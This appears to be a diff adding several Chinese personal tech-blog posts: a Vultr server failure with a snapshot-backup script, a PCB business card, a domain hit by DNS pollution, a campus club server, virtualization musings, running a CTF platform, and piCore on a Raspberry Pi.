except:
time.sleep(1)
else:
break
pipe.close()
#协商密钥
key = str(random.randint(1000000000000000,9999999999999999))
akey = PrpCrypt(key)
cipher = rsa_encode(key, public_key)
data = json.dumps({"key":cipher})
file = open('pipe.txt','w')
print(data,file = file)
file.close()
while True:
pipe = open("pipe.txt", mode='r')
if pipe.read() == "\n":
pipe.close()
break
pipe.close()
time.sleep(1)
print("成功发送密钥",key)
print("已建立连接")
#处理阶段
#Single Quest
name = input("请输入用户名:")
pwd = input("请输入密码:")
hash = hashlib.md5(pwd.encode(encoding='UTF-8')).hexdigest()
data = json.dumps({"from":"Client","data":akey.encrypt(json.dumps({"name":name,"pwd":hash})).decode("utf-8")})
file = open('pipe.txt','w')
print(data,file = file)
file.close()
print("已发出,等待回应")
while True:
pipe = open("pipe.txt", mode='r')
data = pipe.read()
if not data == "\n":
data = json.loads(data)
if data["from"] == "Server":
pipe.close()
break
pipe.close()
time.sleep(1)
print("已收到回应")
data = akey.decrypt(data["data"])
print(data)
print("加密通道客户端演示结束")
```
# 后记
关于SSL/TLS的具体内容我也没有好好看一遍我打算回头有时间仔细看一看然后再回来看这个代码是有多么的糟糕🤪。

@ -0,0 +1,120 @@
---
layout: post
title: 论备份的重要性
tags: [备份]
---
只有事情发生到自己头上才想到要解决<!--more-->
# 起因
今天早上发生了一件很糟糕的事情,一打开聊天软件就发现有人在说我维护的花火学园挂掉了,错误信息是无法访问源站。我觉得挺奇怪,服务器又没啥负载,我也有一段时间没登进去了,怎么服务器就挂掉了?
我试着用SSH连接同样无法连接我发现事情不太对劲然后就登到了Vultr里看了看。结果发现我的服务器在00:00之后就像一个死人一样CPU负载被拉成了一条直线就那样保持0%的位置。我以为是因为莫名其妙的原因服务器关机了,然而我重启以后仍然没有解决问题。
登录到终端一看,`No bootable device`就这样显示在屏幕上硬盘直接读不出来了这下可不得了了我赶紧去快照里看了一下发现最后一次快照的时间在5月30日也就是说如果没能恢复数据这十几天的所有信息都将消失
# 难以想象的垃圾服务商Vultr
首先我要做的事情当然是想办法先恢复服务,虽然那个快照有点早,但是先顶上再说吧……
想一想我的防护应该做的也没啥问题而且一般成功入侵服务器的人也应该是删库然后留一条信息的那种直接干死硬盘的我还真没见过。于是我开始发Ticket给Vultr看看到底是怎么回事。
Vultr在我问完的4个小时后给出了最终的解决方案把我的服务器直接重置在上面安了新的操作系统然后给我赔了两个月的服务器费用……原文如下
> Hello,
>
> In the past 24 hours, we sent notification of a node failure impacting your cloud server listed above.
>
> Despite extensive efforts, our attempts to manually recover your cloud server were unsuccessful.
>
> Our engineering team is currently deploying new instances with the same operating system and IP and you will receive login details in a separate message. You may also deploy a backup or snapshot on a new instance with a new IP if you prefer.
>
> Our staff will be applying a two month account credit for the affected services shortly.
>
> Regards,
> Bryan M.
> Systems Administrator
这真是太糟糕了作为一家云服务器商就直接把客户的数据搞没了然后就赔2个月的费用要知道数据无价啊就这么不负责任的吗简直是不可思议啊
不过我也没什么好办法了也许他们不重装我还想着试试SystemRescueCD试试看能不能把整个磁盘复制出来但是他们既然已经直接重装那就彻底没救了……QAQ
# 亡羊补牢
既然数据已经救不回来了,那我们也只能向前看,得想办法避免以后再出现这样的问题。因为我最近在期末阶段,比较忙,所以也不经常去打快照。虽然以前也出现过服务出问题的情况,像[MySQL挂了](/2020/01/05/devops.html)、CDN挂了、还有一次好像是交换机出问题了但是无论如何数据从来没有丢失过。这一次数据都能丢了也真的是太糟糕了要不是有快照那就真成删库跑路了……
既然没时间打快照,我得想个办法搞一个自动打快照的东西。在网上搜了搜,还真有这样的脚本,于是我拿来改了改就装上去用了。
## 自动快照的脚本
```python
import requests
from requests import get
import re
import json
class __RPC:
def __init__(self, api_key, name):
self.api_key = api_key
self.api_info = None
self.name = name
self.errors = {
200: "Function successfully executed.",
400: "Invalid API location. Check the URL that you are using.",
403: "Invalid or missing API key. Check that your API key is present and matches your assigned key.",
405: "Invalid HTTP method. Check that the method (POST|GET) matches what the documentation indicates.",
412: "Request failed. Check the response body for a more detailed description.",
500: "Internal server error. Try again at a later time.",
503: "Rate limit hit. API requests are limited to an average of 2/s. Try your request again later."
}
def api_info_initial(self):
self.api_info = {"snapshot/create":"POST","snapshot/destroy":"POST","snapshot/list":"GET","server/list":"GET"}
def __getattr__(self, name):
return eval("__RPC")(self.api_key, self.name + "/" + name)
def __call__(self, **kwargs):
if not self.api_info:
self.api_info_initial()
if self.name not in self.api_info:
raise ValueError("The API is not exists.")
if self.api_info[self.name] == "GET":
res = requests.get("https://api.vultr.com/v1/" + self.name, headers={"API-Key": self.api_key},
params=kwargs)
elif self.api_info[self.name] == "POST":
res = requests.post("https://api.vultr.com/v1/" + self.name, headers={"API-Key": self.api_key}, data=kwargs)
if res.status_code == 200:
return res.status_code, res.text.strip()
elif res.status_code in self.errors.keys():
return res.status_code, self.errors.get(res.status_code)
else:
res.raise_for_status()
class Vultr:
def __init__(self, api_key):
self.api_key = api_key
def __getattr__(self, name):
return eval("__RPC")(self.api_key, name)
vultr = Vultr("API Key")
data = {'SUBID': '实例ID'}
status_code, resp = vultr.snapshot.create(**data)
requests.post("https://sc.ftqq.com/SCKEY.send",data ={"text":"快照已创建","desp": str(status_code)+resp})
# 删除旧快照
status_code, resp = vultr.snapshot.list() # /v1/snapshot/list
if status_code != 200:
print('获取快照列表失败' + str(status_code) + resp)
else:
print('成功获取到快照列表')
data_list = list(json.loads(resp).values())
data_list.sort(key=lambda x: x['date_created']) # 默认时间排序,由近到远
data_list_del = data_list[::-1][9:] # 取超过9个之后的快照
for data_del in data_list_del:
data = {'SNAPSHOTID': data_del.get('SNAPSHOTID')}
status_code, resp = vultr.snapshot.destroy(**data) # /v1/snapshot/destroy
if status_code != 200:
print('删除旧快照失败')
else:
print('成功删除一个旧快照')
```
把这个脚本放到Crontab里每天执行一次就行了。
# 后记
相信服务器厂商是完全靠不住的事情自己还得想办法做好备份。我甚至在想阿三把Intel和微软都占领了会不会有一个阿三也跑到Vultr里然后对着我的硬盘大喊“把你变成咖喱”之类的23333。
现在不过是权宜之计,以后还是得想办法把整个论坛下载到本地,至少能搞个数据库的差异备份啥的也行啊……

@ -0,0 +1,31 @@
---
layout: post
title: 如何制作一个PCB名片
tags: [PCB, 名片, 制作]
---
感觉设计PCB也挺有意思的<!--more-->
# 前言
这个月虽然依然是假期,但是总感觉比其他月做了更多的事,毕竟是到了期末,考试的准备不说,为其他人完成期末作业这也费了不少精力,因此也赚了几百块钱。
除了期末我还要为科目三的考试做准备。虽然练车每天不过1小时但是回来之后就啥也不想干了……再过几天我就要去考试了希望能顺利通过。
在假期间我在网上看到了一个很有趣的东西叫做PCB名片就是把电路板做的像名片一样。看起来挺有意思的不过我从来没学过电路设计网络工程的人怎么会去学习电路设计呢所以虽然看起来很有意思但是我一窍不通啊……
说是这么说,但是只要想做,有搜索引擎什么做不到?于是接下来我就开始了学习电路设计的路程。
# 收集资料
据那些做PCB名片的人所说他们是使用AD(Altium Designer)进行设计然后发到一个叫嘉立创的网站进行制造。首先我肯定是先去下AD不过看了一下大小之后就不想下了那个软件要2-3GiB大……我想我可能也就做一次PCB又不会经常用所以也不想下这么大的软件。
像电路设计也不可能只有AD一个软件于是我就开始搜还有什么其他的EDA软件可以用。搜着搜着发现了有一个可以在线设计PCB的网站叫做立创EDA这不是正合我意嘛想不到这个在线设计的网站和制造PCB的那个公司是一家的这样倒是也方便。
# 开始设计
既然整个流程大概都搞明白了,接下来就该设计了。当然从来没学过电路设计自然也不知道怎么用这个软件,接下来我打开了教程,然而我的表情是这样的:
![emoticon1](/images/emoticon1.jpg)
像教程这种东西实在是一点用也没有,大多数教程都是给能看懂教程的人写的,像我完全不了解的人就根本不会看这种东西。那怎么办呢?不会用还不看教程,怎么才能用这个软件呢?
这时候就用到了作为设计师的本能了,设计师都是心意相通的,所以只要是按着为用户着想的设计理念做出来的软件,我基本上都会用。 ~~Adobe公司做的垃圾软件就没有符合这个理念~~
这个软件可以直接用浏览器打开也有客户端客户端是Electron做的。我不太喜欢Electron因为感觉它的效率比较低因此VSCode我也没有装。但是这个网页版在Edge上的兼容性不太好所以我只好使用它的客户端了……倒是也不大不到100MiB还是挺不错的。
打开了这个软件之后随便按了按,大概的按键我倒是都搞明白了,有几个划线的按钮,分别可以画直线和弧线,然后就是打孔的选项,还有一个画矩形和多边形的。除此之外还能插入图片和文字,总体来看和画图软件差不多,只是它好像有一堆奇奇怪怪的层。
一开始这些层我完全搞不清楚是干啥用的啥阻焊层还是什么丝印层乱七八糟的我根本搞不清楚。还好它有一个3D预览可以看一下最终做出来的大概效果通过这个我大概明白了丝印层就是在电路板表面印的白色的字阻焊层就是电路板表面涂的有颜色的漆。只是设计的时候是把那层东西挖空。
了解了这些之后我就开始设计了,把喜欢的图片导入,然后按照喜欢的方式进行布置。虽然说一般电路板应该是要实现功能的,但是我不会做,做出来也是为了玩,所以我最多也只是在上面加了一个线圈,其他的什么功能也没有。
# 制造结果
我一开始做的时候不清楚PCB的本质以为它是在铜板上划出电路结果今天我取到货之后才发现完全不是这样PCB其实是在塑料板上打印铜线所以我在第一次设计的时候没搞清楚这个问题我把有些阻焊层去掉之后下面就直接露出了塑料板不怎么好看所以今天我明白之后修改了一下图纸又上传上去让他们制造了。
打印5张这样的PCB名片倒是挺便宜的5张一共才5CNY虽然说真正的名片5CNY可能能打100张但是制作一次也不过是相当于喝了一大瓶饮料而已所以再打一次也没关系。
另外我想吐槽一下快递的速度制作板子花3天时间可以理解但是快递送4天就有点过分了最终下单一周之后才取到。上次我用的是京东快递真的是体验极差这次我换成了顺丰的希望它能快一点。

@ -0,0 +1,23 @@
---
layout: post
title: 假期总结第二弹
tags: [假期, 总结]
---
这个假期还真是“长”啊……<!--more-->
# 依旧什么也没做
去年我写了一篇[假期总结](/2019/08/24/sth.html),什么也没做,今年比去年更糟糕,更加的什么都没做。
最近我感觉我的思维就像是一块蛋糕,被万恶的资本家疯狂的切割,不是那种平均分的切法,而是一刀下去先切一半,第二次在其中一块上切三刀,第三次切四刀……总而言之我也不知道我在说什么,意思就是思考能力就如同抛物线那样下降,大概就是这样。
在这个假期我总算是把驾照考下来了,不过考下来之后我感觉好像也没啥,什么感觉都没有,不过是有了开车的资格罢了。
如此长的假期,将近有半年,在上课期间,每天在床上打开手机,什么也不做……
感觉我的处境还是有点危险的,没有目标,不是真的没有目标,而是没有实现目标的意义……做事情给谁看呢?
以上就是被切割成为2<sup>n</sup>的感受思考能力下降的很严重就好像一块装有服务器的CPU的电脑安装了很老的家庭版系统不支持多核心每个核心的频率还很低……
# 也许不完全什么都没做
我想不起来这个假期我还做了什么,也许之前的文章里都有写,但是最近确实啥都没做。
唯一我想到的事情是学校推迟了几天开学,可是我提前买了机票。然后发现改签还不如退票重买便宜,然后就重新买了。所以以后如果遇到了类似的事情,再看看那一天机票的价格吧。
# 想要做的事情
我没有能力思考更多的事情了,正好手头有一个好几年前的旧山寨机,想想我能用它做什么更多的事情吧。
😢

@ -0,0 +1,30 @@
---
layout: post
title: 网站被Ban怎么办
tags: [网站, Ban]
---
虽然不是第一次,但是这事终于落到我头上了<!--more-->
# 起因
在一年前,我写了一篇[Anti-Ban](/2019/04/27/antiban.html)的文章主要讲的是如何避免由于网站被Ban导致的无法访问。
然而现在身份换了我不再是被Ban网站的访问者而是维护者这时候我们应该怎么办
# 解决方案
我维护的网站就是花火学园前两天网站的域名say-huahuo.com包括其子域名都被DNS污染了。污染的当天访问量直接下降3/4简直是太恐怖了而且这还只是防火长城的最低级别的攻击。
被污染的两天后百度权重骤降直接预估流量暴降10倍……我以前还挺自信的让网站与域名耦合度很高这么一搞我以后是不敢再在内链里搞URL了最多就是绝对路径然后像我之前还搞什么图床之类的现在出现这么个事也不敢再搞子域名了。
当然域名被污染这个也不是什么大事在我维护前貌似也出现过类似的事情那时候的用户量远比现在低解决方案也很简单就是换域名只是我以前太自大了好多配置的地方都用的是带域名的URL所以直接换就会出现好多问题。
还好Nginx有一个叫做`sub_filter`的模块我可以直接使用这个模块把页面中所有涉及say-huahuo.com的部分全部替换成现在的say-huahuo.me。虽然这样会增大服务器的压力但是也没有啥更好的办法了以后有机会再把数据库里的所有链接替换一下应该就没问题了吧。
不过那也只是个辅助的方案大多数情况还是要Discuz里面调整。首先要在后台把所有有关应用域名的东西全部关掉然后在配置文件里把cookie域删掉另外还要改一下UCenter的配置文件要把UC_API的地址改成/uc_server不然头像就会调用带域名的URL然后就会出问题。
# 永远要考虑用户
其实对于我来说换不换域名都是次要的因为防火长城最低级别的攻击DNS污染使用DoH、DoT、DNSCrypt等一大堆避免被污染的方案就可以解决实在不行用hosts文件手动设置IP也行嘛。
虽然这么说,但是访问网站的一大批用户全是电脑小白,那些人能把手放在鼠标上能用键盘打几个字已经很了不起了,像复杂的事情他们也不会懂。虽然我维护的网站没有广告,流量对我来说毫无意义,但是维护一个没有人访问的网站也很无聊啊,没有人访问网站开着有什么意义?
# 如何使用国外的服务器检测DNS污染
一般防火长城都是在国际网络出入口设立的,所以如果是国内访问国内还是国外访问国外都是不通过防火长城的。所以怎么样才能在国外检测某域名在国内的状态呢?
我之前也不清楚这个问题后来发现只要用国内的DNS来解析不就好了嘛23333在国外也可以用`nslookup`使用国内的DNS这样就会经过防火长城而实现检测的功能了。
# 总结
通过这件事,我明白了防火长城再垃圾也是能防住大量用户的,毕竟大量用户都是小白,而且域名一旦被他们认证,终身也别想解禁,所以一般情况下还是不要惹他们比较好。
另外只搞了备用域名没搞发布地址也确实是考虑的不够周全,不过也确实是我太自大了,怎么会认为那样的网站不会被防火长城屏蔽?虽然这个域名活了将近两年,但是确实我们做的准备不够充分。
还有就是尽可能不要滥用子域名虽然说有些静态资源放到子域名可以不传cookie可以让速度更快一些但是这种事对我们来说没有意义另外就是不要让网站与域名耦合万一哪一天要换域名麻烦事就出来了。像我的博客用的基本上都是绝对路径这样就能避免由于GitHub Pages域名出问题之后换域名困难的问题了。

@ -0,0 +1,34 @@
---
layout: post
title: 如何建立一个校园内部网站
tags: [网站, 校园]
---
其实我感觉大学生活也挺好的。<!--more-->
# 起因
去年我进入大学后加入了一个专门研究云计算以及网络(名义上)的社团,不过那时候我才是大一新生,加入后没有权限。到了第二年,我成功的进入了管理层,这次我就可以好好的看看这个社团有什么有意思的东西了。
首先社团内有专属于自己的网络社团办公室内有一个交换机是连接所在教学楼的网络的。另外还有一个树莓派看起来好像是一次都没有用过系统也是全新的RPiOS。
除此之外,社团内有一台机架式服务器,看起来好像好长时间没有用了,第一次启动直接报内存错误,我只好把内存条拆出来擦了擦才能正常开机。
我以前觉得服务器应该配置相当高不来个双路TR3990X再整个一堆上TiB的内存根本不能称作服务器。不过这台垃圾服务器改变了我的想法。这是一台主板型号为S5500HCV的服务器有双路CPU和4条4GiB的内存条硬盘500GiB还是机械的。仔细看了看这双路的CPU怎么加起来才8个核心而且还不支持超线程这配置还不如我新买的笔记本电脑然后大小还特别大比一般的机箱大得多而且开机速度又慢风扇还不支持调速真是有够垃圾的。
不过垃圾就垃圾吧毕竟还是个服务器最起码还能支持24/7工作制365天全年不断电应该是可以保证的。既然有了这样的资源我觉得应该搞点什么在服务器上面不然这么大的东西闲置也挺浪费的。
# 服务器的折腾之旅
最开始我是打算装ESXi的因为自从有Hyper-V之后我基本上就没用过VMWare了而且这俩还是互斥的。以前看到ESXi之后挺想在我的Hyper-V虚拟机里装一个可惜ESXi这个系统实在是太垃圾安装必须要网卡驱动然后它支持的驱动还特别少所以这次有了真正的服务器自然是想试一下装个ESXi玩玩。
首先我装的是ESXi7打开后结果又是没有显卡驱动所以我只好下ESXi6试试看打开之后确实可以装了但是装好之后却没办法引导了这就很奇怪所以我只好放弃安装ESXi的想法。
之后我就想着要不然就正常的安个服务器操作系统吧Ubuntu用的多了干脆安个CentOS好了。不过安CentOS有不少坑因为我安装没办法用光盘装一般都是先录到U盘里再装但是不知道为啥CentOS的引导是用的是卷标名然后U盘只能用11位的卷标名安装程序就没法引导。
除了这个坑之外还有一个就是8和8-stream版本的不同。因为直接把整个CentOS下下来很麻烦我就直接下的是网络安装版的。安装程序我下的是8-stream的但是我当时不知道用哪个源结果搞成了8的源装到一半就出错退出了很难受之后仔细检查才发现原来是版本搞错了。
安好之后就是如何管理服务器的问题了虽然直接用SSH或者用自带的Cockpit也挺不错显得很专业但是我觉得麻烦就直接用了某删库塔面板了反正是在内网里也没谁会攻击而且安装配置确实方便想做的事情一键就能搞定。
虽然这个服务器挺垃圾但是至少要比一般的云服务器强同配置的云服务器要不少钱我肯定是不会租当然也没用过。所以像什么Gitlab之类的我可以随便装反正有16GiB内存也不担心。
另外就是网页服务器的环境了,面板确实方便,轻轻松松就能装一个博客、论坛加网盘了。既然网站建好了,就要考虑如何访问的问题了。
# 如何公开自建服务器
正常情况下我们用的网络都是经过路由器的然后就会有NAT就没法从外面访问里面的服务。一般情况下解决这个问题就是用内网穿透比如frp之类的。不过我们的网站不太适合暴露到外网上毕竟开了一大堆服务又没有防火墙密码还超级简单万一服务器被外面的人攻破了学校内网估计也得凉。
不能暴露在外网的话至少学校内网能访问也不错啊不过服务器前面连了一个路由器经过了一次转换然后就没办法在学校内访问了。还好路由器可以设置DMZ主机把服务器的内部IP设成静态的然后开DMZ主机就能解决这个问题了另外路由器连接的校园内网也没有NAT所以在校内就可以直接运行了。
# 给网站加个域名
虽然通过上面的方法可以让大家访问服务器但是有一个问题就是动态IP的问题。我可以改在社团的路由器但是不能改学校的交换机所以IP地址没办法固定虽然也可以直接在服务器上改成固定IP但是我担心这样会造成IP冲突之类的问题。这种情况就很麻烦因为好多网站内链都是带站点地址的URL我建的网站都是通过引擎建的改又不好改这就很麻烦。
这个问题比较好的解决方案就是使用域名域名解析的结果不一定必须是一个外网地址内网地址同样可以解析。这样我回头可以买个域名然后解析如果发生断电之类的问题导致IP改变我就可以直接改一次就行了。DDNS也是个不错的解决方案不过这种事发生次数不多所以就懒得搞了。
# 合理利用资源
虽然建了网站但是平时也没有人访问……而且就算有人访问服务器运行网站服务程序基本上没什么压力这样服务器运行基本上就是空转了。既然我打算让它持续运行肯定不能让它空转我肯定要搞点啥利用好这个运算资源。挖矿是个不错的选择但是我不屑于去做不如搞点为人类发展做出贡献的事情像World Community Grid这样的志愿计算项目就挺不错。
于是我就在上面安装了BOINC这种程序虽然会占用大量的运算资源但是它的运行优先级很低所以网站运行完全没有影响这样就能合理的运用好这些计算资源了。

@ -0,0 +1,34 @@
---
layout: post
title: 关于虚拟化的学习记录
tags: [虚拟化, 记录]
---
虚拟机……感觉有点哲学。<!--more-->
# Mayx的虚拟化学习史
## PC上的虚拟机使用史
在我小的时候我就玩过虚拟机那时候Windows10还没有出来用的还是WindowsXP的系统那时候我使用的虚拟机软件是VMWare Workstation。过去的VMWare和现在的感觉区别不大十年过去了感觉加的功能也不多非要说哪个功能有更新的话可能也就是随着现在的物理机更新一样增加了一些比如UEFI之类的功能吧。
后来我用上了Windows10那时候我还是第一批用上Windows10的人正式版还没有出来我就已经用上了技术预览版不过直到正式版出来我依然使用的是VMWare做虚拟机。后来我在系统里乱逛的时候发现了Hyper-V那是一个比VMWare更轻量更底层的一个虚拟机不需要下载其他程序就能在Windows10里直接打开非常方便。
自从我知道了Hyper-V后就再不用VMWare了除了两个不能共存的原因之外还有就是Hyper-V感觉更稳定速度更快而且与Windows的结合更好。不过有一个缺点就是没有办法挂载USB设备这个就很麻烦……
以前我在用VMWare的时候经常遇到一个问题就是有时候虚拟机里面的系统卡死了但是我点关机的时候用的是客户机关机然后VMWare就卡死了。这时候就算结束掉它用来获取计算资源的进程`vmware-vmx.exe`也没用就算是注销也不行只能关机重启之后也经常会因为锁的原因而出现打不开的问题就很麻烦。但是自从我用了Hyper-V之后就再也没有遇到过这种情况大概是因为Hyper-V对资源的管控更好吧基本上不会出现虚拟机把物理机怼死的情况。
说到这里就让我想起最近我安装的ESXi了由于我的主电脑用的是Hyper-V垃圾ESXi没有Hyper-V网卡的驱动然后就怎么装都装不上然后没办法我就只能用我的旧电脑安结果安好之后发生了一个很神奇的事情就是用ESXi创建一个虚拟机然后启动之后物理机就直接断电重启了这就有点不太合适了虚拟机无论怎么搞能影响到物理机就不太合格了啊。
总的来说可以发现PC机虚拟化的软件基本上都是依靠CPU内置的虚拟化指令来运行的所以效率很高。
## 手机的虚拟机使用史
手机上我也安装过不少种类的虚拟机最早我用的手机性能很差好像还是清华紫光的CPU。那个垃圾手机当时我还拿来当服务器使。虽然我也知道其他的虚拟机但是那个手机带不起来我记得最早我用的是DOSBox Turbo在那个上面我安装了一个Windows3.2的系统。不过这个软件除了这一个虚拟机就不能再开别的系统了,而且基本上没有隔离,它可以直接访问手机里的文件,这就不太好。
后来我用上了一个稍微好一点的手机那时候我知道了Bochs不过那个系统不是我自己装的那个软件的配置文件对那时候的我来说太复杂了我看不懂所以是直接用的贴吧上的镜像。
知道了Bochs之后我就了解到了Limbo那是一个基于qemu的虚拟机用起来要比Bochs简单很多不用写配置文件就可以直接使用。所以这个东西只要不是用的需要一些特别的指令都没问题我试着装了WindowsXP以及MenuetOS、KolibriOS、TempleOS等等基本上都可以正常运行。
后来我还试了试别的软件比如VMOS好像也是一个基于qemu的虚拟机不过它是ARM指令集的安装的是Android系统在很多时候运行一些有可能有问题的软件很方便。
还有一个是ExaGear是基于Wine制作的它只能在一定程度上运行Windows的程序而且因为它也是跨指令集的其实效率不这么高。
以上我们可以发现手机上的虚拟机基本上都是软件模拟的指令集都不一样想怎么搞虚拟化指令虽然ARM的CPU应该支持硬件虚拟化但是目前我的了解是没发现有类似的软件。
## 其他平台的虚拟机
除了在电脑和手机上的虚拟机还有在浏览器上运行的虚拟机真就JS创造宇宙呗。qemu的作者Fabrice Bellard曾经写过一个叫做[JSLinux](https://bellard.org/jslinux/)的项目可以运行比如x86指令集的系统相当厉害。
# 对虚拟化概念的探索
说完对虚拟化平台的使用,我觉得虚拟机的概念和实现还是比较神奇的。什么是虚拟机?我觉得应该只要是在逻辑上提供运算及存储资源的东西都可以称作是虚拟机,包括人也可以作为一种虚拟化平台。我以前听说过一个故事讲的是图灵下国际象棋,他写了一个下国际象棋的程序,但是那时候还没有电脑。于是他自己就模拟电脑的执行方式和朋友下完了象棋。我觉得他在执行这个程序的时候就相当于开了一个虚拟机,在逻辑上构造了一台可以运行他程序的机器,毕竟图灵是人,不是机器,所以我觉得应该可以叫做虚拟机。
但是这么来说的话,只要不是实模式的操作系统我觉得应该都算是虚拟机,因为程序没有真正享用到电脑的所有运算与存储资源,它们的资源都是由操作系统所分配,这么来看操作系统岂不是也是虚拟机?那么这种虚拟机的意义就和实际的虚拟机意义不相符了,我觉得应该再加一些限制条件。
操作系统的特点是BIOS将代码载入到内存中程序的特点则是操作系统将代码载入到内存中。这么来看的话我觉得就可以得出需要BIOS载入代码并提供运算和存储资源的东西应该才能叫虚拟机……但是BIOS又算什么呢……emmmm所以就是这种原因导致了我感觉虚拟机有些哲学。
除此之外还有像沙箱、Docker这些对资源再次分配的程序它们只是进行资源限制但是程序的代码不是由它们载入的……这就更迷了……
# 未解决的问题
一般我们认为虚拟化是将一台电脑的资源合理分配把一台电脑当作很多台来用但是我听说有一种叫做虚拟化集群的东西可以把一大堆电脑模拟成一台电脑来用。但是这时候我觉得就会有一些问题比如一般程序会有比如进程间通讯之类的功能但是两个进程假如放在了不同的两个电脑它们的通讯岂不是要通过网线正常情况下应该是通过内存进行通讯吧这个速度估计得差几千倍就算是多CPU的服务器之间也是通过总线连接。拿网线连接真的能用吗这就让我对虚拟化集群这个感到有些迷惑不知道那些虚拟化软件是怎么搞的。

File diff suppressed because one or more lines are too long

@ -0,0 +1,23 @@
---
layout: post
title: 记一次组织CTF的经历
tags: [CTF, 记录]
---
不会打我也能搞CTF(:-P)<!--more-->
# 起因
在一年前,我[体验了一次CTF](/2019/12/16/ctf.html),感觉挺有意思的,而且为此我甚至计划做一个以此为基础的[游戏](/2019/12/17/game.html)。可惜人不行了,除了会咕咕咕其他什么都不行。
想不到就在最近我不用参加CTF而是直接去给其他人玩CTF的机会。最近我所在的协会要承包一次CTF的比赛我作为协会部门的部长自然也要参与其中。我最擅长的就是运维所以在这次比赛我就成为负责维护这次CTF平台的运维了。
# 感受
成为了维护CTF系统的人之后我对CTF的了解更深了CTF系统的本质就是一个计分板加一台靶机然后题就那么几种像Web、PWN这种题需要靶机其他的Crypto、Reverse、Misc啥的就只需要把题目放到一个文件服务器里就行了。另外计分板也非常的简单就只需要一个判断结果是不是等于设定好的flag就完事了然后根据答题情况给分就行了。
一般正式的赛事中好像flag都是动态的每一个队伍的flag都不一样然后每个队伍打的靶机也全部都是用docker隔离开的像我们举行的这个CTF并不算专业只能算是比较业余的。
# 经历
在这次CTF中我本来是不想管平台的事情如果我来搭建这个平台我可能会选择[CTFd](https://github.com/CTFd/CTFd)作为本次CTF的平台。不过这个CTF在我来之前举办过几次他们使用的是由Facebook开发的[FBCTF](https://github.com/facebookarchive/fbctf)作为整个比赛的平台。我作为运维,肯定也不会去管程序上的事情,就干脆让他们去搞相关的事情了。
不过现实证明这是一个错误的决定这个平台已经不维护了虽然看起来确实挺好看但是BUG也多在这次比赛中给我们维护组带来了不少的压力。就比如说这个平台里的[这一句话](https://github.com/facebookarchive/fbctf/blob/4ec9b6be404fce1bed6d1066fccf10c4255767bb/database/countries.sql#L161),给我们带来了很多麻烦。就这样的短短一句话,搞的正在运行的平台直接被迫停止运行。为什么呢?很简单,因为我所在的学校是中国啊,不允许这样的事情发生……
另外这个FBCTF也很迷看代码不过就是普通的PHP而已但是部署的时候用的软件和方式都和平时不一样。正常来说这种东西一个LEMP或者LAMP就能解决问题而它非得要一个什么hhvm的环境不过环境不是我搭的它用啥我倒是不在乎。然而它的i18n有问题在[这一行](https://github.com/facebookarchive/fbctf/blob/4ec9b6be404fce1bed6d1066fccf10c4255767bb/src/controllers/IndexController.php#L598)没有加`tr`的那个函数然后注册的时候显示就会出问题。有问题倒是没关系大不了改了就行了可是这个破玩意改了之后居然没反应我搞了半天都没有搞好后来发现因为它用了hhvm这个东西会把php代码编译然后直接修改代码就啥反应都没有必须用`hhvm-repo-mode`才能更新代码😓……
其他的就是数据库,那个部署的人当时居然没改字符集,用的还是拉丁文的字符集,然后存储中文的时候就会各种乱码,怎么搞都搞不回来,不过程序里面好像没有受影响,所以也就算了。
还有就是领导的新需求这也算是提前体验公司生活了领导说要加一个功能我肯定不会想着去接这个大坑最后这个任务被派给了我们的PHP老师不过老师确实专业花了4个小时最终真的就搞成了水平确实了的。
目前这次的比赛还没有结束,不知道还会出什么新的莫名其妙的事情,敬请期待吧~

@ -0,0 +1,36 @@
---
layout: post
title: 在树莓派上体验piCore
tags: [树莓派, piCore]
---
麻雀虽小,五脏俱全<!--more-->
# 起因
最近想让协会的打印机共享到网络上,但是又没有什么好的方法,如果用电脑的话体积有点太大了,所以我就考虑用树莓派来共享。
我手头有一个吃灰多年的树莓派有一个问题是我应该在上面装什么操作系统比较好一般来说在树莓派上肯定是装官方的Raspberry Pi OS会更好一些但是官方的系统很大下载也有点慢所以就想找个小一点的系统来处理。
最终我找到了一个叫做Tiny Core Linux的发行版它有一个专门为树莓派开发的一个叫做piCore的发行版下载下来只需要23MiB可以说是非常不错了毕竟就算是Raspberry Pi OS lite也要400多MiB。
另外,点击[这里](http://www.tinycorelinux.net/12.x/aarch64/releases/RPi/piCore64-12.0.zip)就可以下载安装包了。
# 使用方法
总体来说piCore还是挺不错的文档写的也还可以该有的功能基本上都有了。安装很简单和树莓派一样直接把镜像写入MicroSD卡就可以直接使用了。不过有一个问题是它的系统不是直接挂载分区使用的它的根目录是在内存里面的所以如果直接断电所作的操作没有办法保存。
不过他们提供了一种方案来解决这个问题,在对根目录下的文件进行操作后,可以执行`filetool.sh -b`把修改写到一个特别的文件里面,之后每一次开机系统都会读那个特别的文件来保持重启后数据不会丢失。
第一次启动的时候系统会自动生成SSH的Key所以第一次启动就要执行上面的命令。这些事情在README都有写。另外就是使用完整分区的问题根据这个发行版的设计所有的操作会写到第二个分区里面但是默认情况下第二个分区只有16MiB所以要扩大这个分区的大小。
顺便一说这个系统的默认用户名是tc密码是piCore。
扩大的方法在README里面也有写但是全英文而且写的也不太清晰让我很难受而且在国内貌似几乎没有人使用piCore导致我第一次搞这个东西的时候很痛苦所以我还是在这里记录一下吧。
## 扩大分区
首先第一步执行`sudo fdisk -u /dev/mmcblk0`然后输入p查看分区接下来记住第二个分区的StartLBA。记好以后输入d删除第二分区并且输入n重新创建分区。其中出现First Sector的时候输入刚刚记住的数字其他的就默认就行了。最后输入w保存。
很神奇的是用fdisk操作分区的时候并不会让被操作分区的数据丢失貌似它只会修改分区表也许这才是fdisk真正做的事情吧……
在此之后需要重启一次,然后执行`resize2fs /dev/mmcblk0p2`让文件系统获得真正的大小就OK了。
## 安装软件
这个系统安装软件也很神奇,由于它的系统在内存中,安装软件肯定也不能直接安装到指定的位置。他们设计了一种很神奇的安装方法,就是把程序写到一个镜像里面,然后使用的时候挂载就可以用了。直接操作可能会比较麻烦,所以他们设计了一个脚本让任何人都可以随便安装软件。
像debian系列的发行版都使用的是`apt`来管理软件的piCore也整了一个类似的东西叫做`tce-ab`,用起来比`apt`还要方便,它是一个可交互的脚本,想安装软件可以直接在里面搜索。方便确实很方便,而且清华源里也提供了这个系统的镜像源,还是挺不错的。
不过卸载的时候就有点麻烦了,它貌似没有卸载的命令,需要自己手动去`/mnt/mmcblk0p2/tce/optional/`这个路径把软件删掉。不过其实还好,文件都在一起,倒是也没有特别的麻烦。
## 配置Wifi
